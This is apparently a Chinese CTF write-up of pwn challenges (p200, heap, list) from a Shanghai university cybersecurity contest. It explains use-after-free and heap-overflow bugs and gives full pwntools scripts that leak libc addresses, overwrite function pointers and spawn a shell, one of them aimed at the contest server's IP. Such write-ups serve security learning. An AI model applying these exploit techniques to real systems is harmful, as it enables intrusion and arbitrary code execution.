wp

0x00 p200

先分析了程序关键的数据结构

分析程序逻辑,在free堆块的时候没有清空指针,造成悬挂指针,并且程序中给了system('/bin/sh'),可以利用uaf

脚本如下:

1.先free,因为free时候的判断,程序会free掉ptr + 4 这块堆

2.然后再申请到这块ptr +4的堆并往里写能让通过free判断的数据

3.再free,此时可以把整块Ton堆给free

4.再申请得到Tom的堆块,往里写数据,让Tom堆块里的function指针值减8

5.执行1.use 此时其实是执行system('/bin/sh')

from pwn import*
# context.log_level = 'debug'
# p = process('./p200')
addr = 0x0000000000602D70
addr2 = 0x602D58 p = remote('106.75.8.58',12333) p.recvuntil('1. use, 2. after, 3. free\n')
p.sendline('') p.recvuntil('1. use, 2. after, 3. free\n')
p.sendline('')
p.recvuntil('Please input the length:\n')
p.sendline(str(32))
p.sendline(p64(addr2).ljust(32, '\x00')) p.recvuntil('1. use, 2. after, 3. free\n')
p.sendline('')
p.recvuntil('Please input the length:\n')
p.sendline(str(32))
p.sendline(p64(addr2).ljust(32, '\x00')) p.recvuntil('1. use, 2. after, 3. free\n')
p.sendline('') p.recvuntil('1. use, 2. after, 3. free\n')
p.sendline('')
p.recvuntil('Please input the length:\n')
p.sendline(str(0x30))
p.sendline(p64(addr).ljust(0x30, '\x00')) p.recvuntil('1. use, 2. after, 3. free\n')
p.sendline('')
p.recvuntil('Please input the length:\n')
p.sendline(str(0x30))
p.sendline(p64(addr).ljust(0x30, '\x00')) p.recvuntil('1. use, 2. after, 3. free\n')
p.sendline('') p.interactive()

学习

0x01 heap

也先给出数据结构

程序开始

1.分配了许多随机大小的堆块,又随机释放了其中一些堆块,造成之后再请求的堆块不连续

2.生成了一个随机cookie,在之后的主功能中放在堆内存中检测堆是否被改写

发现漏洞

在edit函数中我们可以重新向name域中写入任意字符,可以利用,假如当前堆块后还有一个堆块,我们就可以复写之后的堆块内容

绕过保护

1.先申请一定数量的堆块,就可以保证堆块连续

2.cookie的检验是首地址加偏移,首地址我们可以覆盖,偏移也可以覆盖,我们就可以让 首地址 + 偏移 = 内存中已经存在的cookie ,从而绕过cookie.

漏洞利用

1.泄露atoi_addr地址,计算出system_addr

2.在bss段写入/bin/sh

3.将person_function_ptr覆盖为system_addr,name_ptr覆盖为bss

4.调用introduce函数(实际上是system('/bin/sh'))

Al3x大佬的脚本,orz:

#!/usr/bin/env python

from pwn import *

#context.log_level = 'debug'

def add(lName, name, lSname, sname, tutor='no'):
p.sendlineafter("option:", '')
p.sendlineafter("name", str(lName))
p.sendlineafter("name", name)
p.sendlineafter("schoolname", str(lSname))
p.sendlineafter("school name", sname)
p.sendlineafter(")", tutor) def remove(ID):
p.sendlineafter("option:", '')
p.sendlineafter("delete", str(ID)) def edit(ID, length, context, flag):
p.sendlineafter("option:", '')
p.sendlineafter("edit", str(ID))
if flag == 0:
p.sendlineafter("option:", '')
p.sendlineafter("name", str(length))
p.sendlineafter("name", context)
else:
p.sendlineafter("option:", '')
p.sendlineafter("schoolname", str(length))
p.sendlineafter("schoolname", context) def show(ID):
p.sendlineafter("option:", '')
p.sendlineafter("intro", str(ID)) #p = process("./heap", env={"LD_PRELOAD":"/home/al3x/libc.so.6"})
#p = remote('106.75.8.58', 23238)
p = process("./heap")
for i in range(120):
add(0x29, 'aaaa', 0x29, 'bbbb') atoi_got = 0x602FE8
bss_addr = 0x60F000
add(0x29, 'aaaa', 0x29, 'bbbb') # heap 120
add(0x29, 'aaaa', 0x29, 'bbbb') # heap 121
add(0x29, 'aaaa', 0x29, 'bbbb') # heap 122
add(0x29, 'aaaa', 0x29, 'bbbb') # heap 123
add(0x29, 'aaaa', 0x29, 'bbbb') # heap 124 payload = 'a'*0x30 #padding
payload += 'a'*8 + p64(0x41) #prev_size & size
payload += p64(0x79) #id
payload += p64(atoi_got) #name_chunck_ptr
payload += '\x57\xC0' #name_chunck_size & cookies_off
edit(120, 0x55, payload, 1) show(121)
p.recvuntil("name is ")
atoi_addr = u64(p.recv(6).ljust(8, '\x00'))
system_addr = atoi_addr - 0x36E80 + 0x45390 payload = 'a'*0x30
payload += 'a'*8 + p64(0x41)
payload += p64(0x7a)
payload += p64(bss_addr)
payload +='\x3f'
edit(121, 0x55, payload, 1)
edit(122, 0x10, '/bin/sh', 0) payload = 'a'*0x30
payload += 'a'*8 + p64(0x41)
payload += p64(0x7c)
payload += p64(bss_addr)
payload += p64(0x3f)
payload += p64(system_addr)
payload += p64(bss_addr)
payload += '\x3f'
edit(123, 0x6d, payload, 1)
#raw_input()
show(124) p.interactive()

0x02 list

这题自己的思路是对的,不断删除堆块,最后让指针指向atoi_got,然后泄露atoi_addr,计算system_addr,然后修改atoi_got为system.

可是自己没有理解指针。。。。本应该找个指向got的指针,,而我却直接找got...

第三届上海市大学生网络安全大赛wp&学习的更多相关文章

  1. 第三届上海市大学生网络安全大赛 流量分析 WriteUp

    题目链接: https://pan.baidu.com/s/1Utfq8W-NS4AfI0xG-HqSbA 提取码: 9wqs 解题思路: 打开流量包后,按照协议进行分类,发现了存在以下几种协议类型: ...

  2. Writeup:第五届上海市大学生网络安全大赛-Web

    目录 Writeup:第五届上海市大学生网络安全大赛-Web 一.Decade 无参数函数RCE(./..) 二.Easysql 三.Babyt5 二次编码绕过strpos Description: ...

  3. 2019年上海市大学生网络安全大赛两道misc WriteUp

    2019年全国大学生网络安全邀请赛暨第五届上海市大学生网络安全大赛 做出了两道Misc== 签到 题干 解题过程 题干提示一直注册成功,如果注册失败也许会出现flag. 下载下来是包含010edito ...

  4. 2019 上海市大学生网络安全大赛 RE部分WP

    这次比赛就做了这一道逆向题,看到队友的WP,下面的对v10的加密方式为RC4,从我提取的v4数组就能够察觉出这是CR4了,自己傻乎乎的用OD调试,跟踪数据半天才做出来,还是见得的少了... ...下面 ...

  5. fzu 2105 Digits Count ( 线段树 ) from 第三届福建省大学生程序设计竞赛

    http://acm.fzu.edu.cn/problem.php?pid=2105 Problem Description Given N integers A={A[0],A[1],...,A[N ...

  6. [2012山东省第三届ACM大学生程序设计竞赛]——n a^o7 !

    n a^o7 ! 题目:http://acm.sdut.edu.cn/sdutoj/problem.php?action=showproblem&problemid=2413 Time Lim ...

  7. 第十一届GPCT杯大学生程序设计大赛完美闭幕

    刚刚过去的周六(6月7号)是今年高考的第一天,同一时候也是GPCT杯大学生程序设计大赛颁奖的日子,以下我们用图文再回想一下本次大赛颁奖的过程. 评审过程的一些花絮<感谢各位评审这些天的付出!&g ...

  8. [2012山东省第三届ACM大学生程序设计竞赛]——Mine Number

    Mine Number 题目:http://acm.sdut.edu.cn/sdutoj/problem.php? action=showproblem&problemid=2410 Time ...

  9. 2020年第二届“网鼎杯”网络安全大赛 白虎组 部分题目Writeup

    2020年第二届“网鼎杯”网络安全大赛 白虎组 部分题目Writeup 2020年网鼎杯白虎组赛题.zip下载 https://download.csdn.net/download/jameswhit ...

随机推荐

  1. POJ3696【欧拉函数+欧拉定理】

    题意: 求最小T,满足L的倍数且都由8组成,求长度: 思路: 很强势的福利:点 图片拿出去食用更优 //#include<bits/stdc++.h> #include<cstdio ...

  2. Unity3D asset bundle 格式简析

    http://blog.codingnow.com/2014/08/unity3d_asset_bundle.html Unity3D 的 asset bundle 的格式并没有公开.但为了做更好的差 ...

  3. JS实现 类的 1.判断 2.添加 3.删除 4切换

    <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title> ...

  4. MySQL习题1 一对多实例 产品和分类

    /* 需求:建立产品和分类表 1.查询每种分类的产品数量,没有产品的分类也要统计.(cname,quantity) 2.根据分类名称查询分类中的所有产品 */ -- ----------------- ...

  5. [題解](縮點)luogu_P2341受歡迎的牛

    對於每個強聯通分量,這些牛一定都互相喜歡,所以縮點(我也不知道怎麼想到的) 接下來就是統計答案,最後縮成了一個DAG圖,如果這個點是明星的話,其他每個點一定直接或間接的鏈接這個點 也就是說其他點一定有 ...

  6. __next__,__iter__实现迭代器,斐波那契数列

    迭代器__next__,__iter__ 基于__next__和__iter__方法实现的迭代器 class Foo: def __init__(self,n): self.n = n def __i ...

  7. oratop

    1.下载: 目前,Oratop是在MOS上免费下载.每个db 版本和 os 版本都有对应的程序:The tool is a compiled c program. 不需要编译,直接运行.   (下载文 ...

  8. Mysql之Union用法

    在数据库中,UNION和UNION ALL关键字都是将两个结果集合并为一个,但这两者从使用和效率上来说都有所不同. MYSQL中的UNION UNION在进行表链接后会筛选掉重复的记录,所以在表链接后 ...

  9. Bluefish

    Bluefish标榜其自身是“一款为熟练的Web设计员和程序员而设的编辑器,但它的UI却很直观,任何初学者都能够很快上手,并在不断地积累中发现和掌握它的其它功能.   Bluefish标榜其自身是“一 ...

  10. 集合框架比较两个对象是否相同(equals和hashCode方法)

    package com.dcz.hashset; import java.util.HashSet; import java.util.Set; /** * HashSet是接口最常用的实现类,顾名思 ...